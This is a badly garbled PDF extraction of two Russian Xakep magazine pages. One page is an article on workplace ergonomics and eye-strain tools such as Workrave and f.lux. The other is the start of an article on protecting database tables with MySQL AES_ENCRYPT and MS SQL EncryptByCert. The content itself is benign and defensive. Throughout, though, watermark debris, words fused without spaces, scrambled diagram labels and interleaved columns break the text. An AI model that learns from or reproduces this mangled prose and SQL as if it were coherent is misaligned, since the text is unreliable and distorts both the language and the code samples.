книги хакеры / журнал хакер / 124_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
>>m |
|
||||
w Click |
to |
|
|
|
|
pc_zone |
|||||
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
1) Укажи свой рост:
152 |
155 |
157 |
160 |
163 |
165 |
168 |
170 |
173 |
175 |
178 |
180 |
183 |
185 |
188 |
191 |
|
|
|
|
|
|
|
Твой рост |
|
|
|
|
|
|
|
|
|
|
|
50-75 cм. |
|
|
178 cм. |
|
|
|
|
|
|
Уровень глаз при |
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
работе стоя |
|
|
|
Уровень |
|
|
|
|
|
|
|
|
|
|
166 см. |
|
|
|
|
глаз |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
124 см. |
|
|
|
|
|
|
|
|
|
|
Расположения |
|
|
|
|
100 - 200 |
|
|
|
|
|
|
|
|
логтей |
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
109 см. |
Уровень
логтей
Высота |
67 см. |
|
|
кресла |
|
44 см. |
2) А теперь обустрой свое рабочее место |
|
в соответствии с требованиями |
|
|
Засвоимрабо- |
|
чимместолюди |
|
зачастуюпроводят |
|
большуючасть |
|
дня. Самоевремя |
|
задуматьсяобэрго- |
ВИТАЛИЙ ТРАВИН |
номике |
/ VITYA31@MAIL.RU/
КОГДА ТЫСТАНЕШЬСЛЕПЫМ
Этотолькосейчаскажется, чтоздоровьебудетвсегда.
Еслипродолжатьпялитьсявстарыймонитор18 часоввсутки, сидяна кухоннойтабуреткеипожевываягамбургер, здоровьюраноилипозднопридетконец! Иэтоятебеточноговорю.
>> pc_zone
Перспективынесамыерадужные, прав-
да? СработойвIT нереальноизбавитьсяот сидячегообразажизнипередкомпьютером, номожнопостаратьсясвестипоследствия к минимуму.
Воттебетрисовета, какнестатьбольными слепымгиком, укоторогоестьответналюбой вопроспоядруWindows, нонетэлементарногоздоровья.
СДЕЛАЙ ПАУЗУ — СКУШАЙ ТВИКС
Кистевойтуннельныйсиндромзапястья, искривлениепозвоночника, болившее, лишний весимногоедругое— вотугрозыдлятех, кто слишкоммногоработаетзакомпьютером. Ну, илинеработает— этоужкомукакповезет. В любомслучае, увлекшисьреверсингомили иныминтереснымзанятием, можнозалипнуть нанесколькочасовиоставатьсяприэтомпочти
неподвижным. Так, какжебыть? БратьсебеличногоассистентавлицеутилитыWorkrave (http:// www.workrave.org/welcome), котораябудет следитьзатем, чтобытынеперетрудился! Более того— силойзаставитделатьнебольшиепаузы ивыполнятьзарядкудляразныхчастейтела. И понятно, чтотызнатьнезнаешь, какэтусамую зарядкуделать. Тулзасамапокажет, какразмять течаститела, которыепопадаютвобластьриска.
030 |
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||||
|
F |
|
|
|
|
|
|
t |
|
|
|||
|
D |
|
|
|
|
|
|
|
i |
|
|
||
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
|
o |
|||||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Сменатоновмониторавзависимостиот временисутокзаметноснижаетусталость глаз
Внешне прога — небольшое окошко с таймерами. Первый таймер — это время, через которое нужно просто пол минуты передохнуть (микропауза). Второй — сколько осталось до 10-минутного перерыва (обычно он раз в час). И третий — остаток общего рабочего времени. На перерывах можно сделать упражнения для кистей рук и пальцев, для глаз, плеч и шеи. Само собой, работа работе рознь. И один может ходить пить чай хоть раз в полчаса, а у другого, дай Бог, выпадет лишняя минутка, чтобы сгонять по нужде. Поэтому временные интервалы нужно настроить по своему усмотрению. По себе знаю: когда сильно занят, на все эти предупреждения, симпатичные окошки и громкие фразы — становится просто положить. Получается, что, потратив усилия на настройку подобных игрушек, потом перестаешь их замечать. Но Workrave игнорировать себя не даст! В конфиге можно задать, разрешается ли откладывать паузы или нет. В самых тяжелых случаях доступна опция «Блокировать компьютер». И тут уж ничего не поделаешь: либо зарядка, либо ребут :). Если уже просчитал варианты и, хихикая, собираешься переключиться на стоящий рядом ноутбук, знай: ничего не выйдет. Прогу можно установить на несколько компьютеров сразу (хоть под линуксом, хоть под Виндой) и синхронизировать время для упражнений.
СИДЕТЬ НАДО ПРАВИЛЬНО
Рабочееместонужноподогнатьподсебя. Глупоотказыватьсебевхорошемкресле, раз проводишьнанембольшуючастьдня. Дляоптимальногорасположениярук, монитораиглаз применяютсяспециальныеспособырасчета, ноэтополныйизврат. Затоможнопросчитать такиепараметрычерезвеб-сервис Workspace
Planner (internalapps.ergotron.com/MirWebTool/ ergoTool_metric.html) ипостаратьсяучитывать их, обустраиваярабочееместо. Всерасчеты базируютсянаисследованияхеще1988 года, но поводаимневеритьнет. Кстати: всерасчетыпо умолчаниюосуществляютсявдюймах, ноесли присмотреться(надеюсь, созрением, утебяеще всевпорядке?), томожнонайтиссылкудляпереводавметрическиесистемаисчисления.
И не забудь общие правила: верхняя часть монитора должна располагаться на уровне глаз, а клавиатура по высоте должна быть на уровне локтей.
XÀÊÅÐ 04 /124/ 09
Workrave недастзаработатьсяизаставит сделатьпаузу
СПАСИ ГЛАЗА
Неправильноерасположениеэкранамонитора, маленькийшрифт, слишкомсветлый илитемныйэкран— основныепричины хроническойголовнойболиугиков. Обижаясь народителейвдетстве, ты, вероятно, немог понять, почемунельзясмотретьтелевизорв темноте. Светло, темно— какая, блин, разница? Насамомделе, разницаесть! Малокому надообъяснять, какначинаетрезатьглаза посленесколькихчасовпередмониторомв темноте. Самыйверныйспособпомочьсебе— пойтиспать, пославвседелакудаподальше. Здоровье-тодороже. Знаю-знаю: срокигорят, заказчикичто-тотребуют, азавтрауженадо показатьполурабочийвариантновойпрограммыбоссу. Облегчитьстраданияспособна f.lux (www.stereopsis.com/flux). Программа простоизменяетцветовойпрофильмонитора взависимостиотвременисуток. Ночьюглаза меньшеустаютоттеплыхцветовыхтонов, днем— отяркихихолодных. Могусказатьпо собственномуопыту: штукареальноработает! Оподобнойутилитеязадумался, когдаувидел, чтонекоторыемакбукисамиумеютрегулироватьподсветкумониторавзависимостиот освещения(определяетсявстроеннойкамеройилисенсорамивзависимостиотмодели). Казалосьбы, такаяерунда, апомогаеточень здорово. Уf.lux никакихсенсоровнет, поэтому освещенностьонаможетпросчитыватьпо временисуток: дляэтоговнастройкахуказываютсякоординатытвоегоместоположения. АчтобытынелезвсправочникиилиGoogle, тутжедоступнассылканаудобнуюстраничку дляпоискакоординат. Версиипрограммы естькакдляWindows, такLinux иMac OS X.
Глазамнеобходимотдых. Причем— каждые 40-50 минут. Врачамирекомендуетсяцелый рядметодикиупражнений, предназначенных дляотдыхаглаз. Болеетого, разработаныи любопытныепрограммы, которыенапоминают тебе, когдаикакиеупражнениянужноделать. Дляпримера: посмотриEyesKeeper (www. gi.ru/eyeskeeper) — русскоязычный«напоминатель». Внемприведеныупражнениядля отдыхаглаз, разработанныеспециалистами НИИгигиенызрения. Использоватьвсеэто илинет— делотвое. Можнозабитьитихонадеяться, чтоввекгеннойинженерии, клонов инано-технологийможнобудетбезвозмездно скачатьсебеновуюспинуизинтернета, аглазапофикситьпатчем. Номыбырассчитывать наэтонестали:). z
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
BUY |
>>m |
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
|
|
|
|
|
pc_zone |
|
|
|
w Click |
to |
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
g |
.c |
|
|
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ЗАПРОСЗАШИФРОВАННОГООБЪЕКТА |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
АВТОРИЗИРОВАННЫМПОЛЬЗОВАТЕЛЕМ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ИХАКЕРОМВСЛУЧАЕПРИМЕНЕНИЯ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ЗАПРОС |
|
ШИФРОВАНИЯ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ЗАШИФРОВАННОГО |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ОБЪЕКТА |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
БАЗА |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ДАННЫХ |
Запрос |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1C |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
с проверкой прав |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ЗАПРОС |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
БАЗА |
|
ЗАШИФРОВАННОГООБЪЕКТА |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ЗЛОУМЫШЛЕННИКОМ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Запрос |
|
|
ДАННЫХ |
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
CRYPTO |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
данных |
|
Расшифрованные данные |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
БАЗА |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
с помощью |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ДАННЫХ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ключа пользователя 1С |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1C |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Прав |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
доступа нет |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Расшифрованные |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
данные |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
БАЗА |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Пользователь 1С |
|
|
|
ДАННЫХ |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Запрос |
CRYPTO |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
данных |
Возврат пустого |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
значения |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Возврат пустого |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
значения |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
АНДРЕЙ КОМАРОВ |
|
|
Злоумышленник |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
/ KOMAROV@ITDEFENCE.RU / |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
БАЗУДАННЫХ |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
НЕСТАЩИТЬ! |
|
|
|
|
|
|
|
|
|
|
|
|
ПравильныеспособызащититьданныевтаблицахБД
Какжеошибаютсятелюди, которыедоверяютзащитуданныхисключительносамойСУБД. Мол, еслипарольнаподключениехорошийи версиядемона— самаяпоследняя, товсебудетнормально. Ничего подобного. Базыкаксливали, такибудутсливать. Анашазадача— сделатьихнечитаемымидлятех, комуонинепредназначены.
>> pc_zone
Актуальнаяпроблемаизмираинформа- |
сотрудник конкурирующей компании. Нахо- |
структур. Что из этого вышло, объяснять из- |
ционнойбезопасности— обеспечитьсо- |
дясь на рабочем местом и будучи технически |
лишне. Вообще, имея физический доступ к |
хранностьданных. Есть ситуации, в которых |
подкованным, он взламывал сервера баз |
локальной сети, инсайдер мог поступить го- |
даже при наличии серьезной защиты сис- |
данных банальным брутфорсом через тер- |
раздо проще: атаковать программу, которая |
темы, сохранность данных оказывается под |
минальное соединение. Базы с клиентами |
работает с базой данных. Нередко сценарий |
большим вопросом. Как так? Могу привести |
«засланец» перепродавал другим компани- |
взлома сводится к тому, что из программы |
пример из личного опыта, когда в разглаше- |
ям, а «интересная» информация о ведении |
разными способами извлекаются конфиги |
нии информации был виновен засланный |
бизнеса отправлялась сотрудникам силовых |
для подключения к базе. Захватив ту же 1С, |
032 |
|
XÀÊÅÐ 04 /124/ 09 |
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
F |
|
|
|
|
|
|
|
i |
|
||
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
t |
|
||||
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
P |
D |
|
|
|
|
|
|
|
|
o |
||
|
|
|
|
NOW! |
r |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
NOW! |
r |
||||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
|
>> pc_ |
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
zonew |
|
|
to |
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
m |
|||||
w Click |
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
o |
|||||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
||||
|
|
p |
df |
|
|
|
|
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
df |
|
|
|
|
e |
|
||||
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
g |
|
|
|
||||||
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
которая хранит в себе конфиги подключения |
DES_ENCRYPT(), которые считаются наиболее |
таблице зашифрованных записей, выполняя |
|
|
|
|
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
к базе (в том числе, шифрованный обычным |
надежными в MySQL на текущий момент. |
|
привычные SQL-запросы: |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
XOR’ом пароль), злоумышленник получает |
Например, так: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
доступ к самой базе. Особо не стесняясь, |
|
|
|
|
|
|
INSERT INTO [БАЗА].[ТАБЛИЦА] |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
он может ее выкачать, модифицировать |
INSERT INTO t VALUES (1,AES_ |
values( N'ДАННЫЕ ДЛЯ ЗАШИФРОВКИ', |
|
|
|
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
или просто удалить. Такая брешь в защите |
ENCRYPT('text','password')); |
|
EncryptByCert(Cert_ID('andrej'), |
|
|
|
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
способна сыграть злую шутку, особенно в |
|
|
|
|
|
|
@cleartext) ); |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
корпоративной среде. |
|
|
Приятно признать, что хорошие программис- |
GO |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
В статье я как раз хочу рассказать о том, |
ты эти функции используют. Часто во время |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
как обезопасить информацию в обычной |
проведения SQL-инжекции мне приходи- |
|
В этом примере неформатированный текст |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
базе данных. Даже если СУБД будет взло- |
лось ломать голову и определять функцию, |
|
из переменной @cleartext шифруется серти- |
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
мана или левый человек скопирует данные, |
которую использовал кодер для крипточки |
|
фикатом с именем «andrej». Зашифрованные |
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
утечки конфиденциальной информации не |
данных. В результате, требуется производить |
данные помещаются в таблицу «ТАБЛИЦА». |
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
произойдет! |
|
|
|
те же AES_DECRYPT(AES_ENCRYPT()) наряду |
|
Уточню, что данные могут быть расшифро- |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
с unhex(hex()). |
|
|
|
|
|
ваны только с помощью соответствующего |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
ШИФРОВАНИЮ — БЫТЬ! |
|
|
|
|
|
|
|
|
закрытого ключа (как уже было сказано, |
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
Общий подход прост до гениального: раз |
T-SQL |
|
|
|
|
|
«приватного»). |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
злоумышленник гипотетически сможет |
Помимо симметричного шифрования, когда |
|
Имя функции для обратного преобразо- |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
извлечь данные, надо сделать так, чтобы |
упаковка и распаковка текста производятся |
|
вания угадать несложно: DecryptByCert(). |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
он их не смог прочитать. Информацию |
одним и тем же ключом (общим для двух |
|
А вот синтаксис более хитер, и с ним все |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
все равно придется хранить в базе, но… |
участников обмена сообщениями), поддержи- |
чуть сложнее. Дело в том, что на приват- |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
ничего не мешает хранить ее в каком |
вается и ассиметричное криптование. Идея |
|
ный ключ, как правило, закладывается |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
угодно виде, в том числе зашифрован- |
ассиметричных алгоритмов подразумевает |
|
дополнительный пароль (passphrase). Его |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
ном! Главное, чтобы мы сами потом смог- |
наличие двух ключей — открытого и закры- |
|
необходимо ввести, и по этой причине он |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
ли расшифровать :). Компания Spelabs |
того (секретного). Один из них используется |
|
обязательно будет присутствовать в коде |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
(spellabs.ru/spellabsCrypto1C.htm) как-то |
для шифрования информации, а другой — |
|
запроса или процедуры. Это не очень хоро- |
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
анонсировала продукт, организующий |
для дешифрования. Если кодирование осу- |
|
шо, потому что его можно быстро увести. Но |
|
|
|
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
|
дополнительную безопасность бухгалтер- |
ществляется с помощью открытого ключа, то |
|
с этим мы разберемся позже, когда пого- |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
ских 1С на уровне шифрования данных, |
расшифровать такие данные можно только с |
|
ворим о безопасности хранимых процедур. |
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
причем на полностью прозрачном уровне. |
помощью парного ему закрытого. Предлагаю |
А пока — код для извлечения данных из |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
Пользовательские приложения, не подоз- |
разобраться с этим на примере Microsoft |
|
шифрованной БД: |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
ревая о надстройке, работали в обычном |
SQL Server, который часто используется в |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
режиме. Увы, компания прекратила раз- |
корпоративных порталах и сложных при- |
|
SELECT |
convert(nvarchar(max), |
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
работку этого направления. Но реально |
ложениях. Для шифрования применяются |
|
DecryptByCert(Cert_Id('andrej'), |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
обойтись и без подобных инструментов, |
функции T-SQL, представляющие собой |
|
|
ProtectedData, |
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
ведь для шифрования сгодятся даже штат- |
специальное дополнение языка SQL. Оно |
|
N'pGFD4bb925DGvbd2439587y')) |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
ные средства СУБД! |
|
|
поддерживает управляющие операторы, |
|
FROM [БАЗА].[ТАБЛИЦА] |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
Любая современная СУБД, если это, конечно, |
локальные переменные и различные допол- |
|
WHERE Description |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
не собранная на коленке курсовая, может |
нительные функции. Одна из таких функций |
|
= N’Employers Access’; |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
